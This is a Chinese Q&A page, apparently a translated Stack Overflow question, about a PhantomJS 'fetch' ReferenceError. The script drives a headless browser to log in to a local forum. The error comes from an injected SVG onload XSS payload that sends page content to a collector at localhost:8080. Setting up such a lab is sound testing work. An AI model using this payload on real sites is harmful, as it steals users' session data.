首页 > 解决方案 > PhantomJS ReferenceError:找不到变量:获取

问题描述

当我在 phantomjs 上执行我的 js 代码时出现此错误。

ReferenceError: Can't find variable: fetch

下面的 js 代码 (login.js) 登录到本地论坛 ( http://127.0.0.1/forum/ ) 并重定向到我在服务器上托管的 page.php 并在登录时截取页面截图.

var page = require('webpage').create();
var url = "http://127.0.0.1/forum/";
page.settings.userAgent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36';
page.viewportSize = {
    width: 1280,
    height: 800
};
page.zoomFactor = 1;
page.onConsoleMessage = function(msg, lineNum, sourceId) {
    console.log('CONSOLE: ' + msg + ' (from line #' + lineNum + ' in "' + sourceId + '")');
};

page.open(url, function (status) {
    page.onConsoleMessage = function(msg, lineNum, sourceId) {
        console.log('CONSOLE: ' + msg + ' (from line #' + lineNum + ' in "' + sourceId + '")');
    };
    page.evaluate(function() {
        document.getElementById("lbluserName").value = "John";
        document.getElementById("lblpassword").value = "password";
        document.getElementById("btnLogin").click();
        // page is redirecting.
    });

    setTimeout(function () {
        page.evaluate(function () {
            console.log('Done');
        });
        page.render("AfterLogin.png");


        var url = "http://127.0.0.1/forum/pages/page.php?post_id=1";

        page.open(url, function (status) {
            setTimeout(function () {
                page.evaluate(function () {
                    console.log('Done');
                });
                page.render("HomePage.png");
                phantom.exit();
            }, 5000);
        });
    }, 5000);
});

我运行下面的 js 代码没有问题,我的屏幕截图没有任何问题

phantomjs.exe login.js
CONSOLE: Done (from line # in "")
CONSOLE: Done (from line # in "")

但是,如果页面 (page.php) 在响应中包含以下内容

<svg/onload=fetch('http://localhost:8080/?cookie='+document.getElementById("userName").innerHTML)>

我将在下面列出以下错误。

phantomjs.exe login.js
CONSOLE: Done (from line # in "")
ReferenceError: Can't find variable: fetch

我怀疑上述错误可能是由于响应中的 <svg/onload= fetch造成的。

我尝试使用谷歌搜索并没有得到任何可以解决我的问题的解决方案。

(我看到一些关于 phantomjs 太旧并且不支持 fetch 的事情?对此不太确定。)

任何人都可以帮助我解决这个错误?

谢谢!

标签: javascriptphantomjs

解决方案


推荐阅读